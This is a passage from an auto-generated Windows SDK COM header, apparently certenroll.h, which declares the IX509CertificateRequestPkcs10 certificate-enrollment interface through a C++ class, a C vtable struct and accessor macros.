) \n\n#define IX509CertificateRequest_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequest_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequest_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequest_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0073 */\n/* [local] */ \n\ntypedef \nenum Pkcs10AllowedSignatureTypes\n    {\tAllowedKeySignature\t= 0x1,\n\tAllowedNullSignature\t= 0x2\n    } \tPkcs10AllowedSignatureTypes;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0073_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0073_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRequestPkcs10_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab342-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs10 : public IX509CertificateRequest\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplateName( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromPrivateKey( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPublicKey( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions = InheritDefault) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckSignature( \n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes = AllowedKeySignature) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE IsSmartCard( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PublicKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_PrivateKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ReuseKey( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_OldCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Subject( \n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Subject( \n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CspStatuses( \n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_SmimeCapabilities( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_SmimeCapabilities( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_KeyContainerNamePrefix( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_KeyContainerNamePrefix( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CryptAttributes( \n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SuppressOids( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawDataToBeSigned( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Signature( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCspStatuses( \n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10 * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10Vtbl;\n\n    interface IX509CertificateRequestPkcs10\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs10_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define 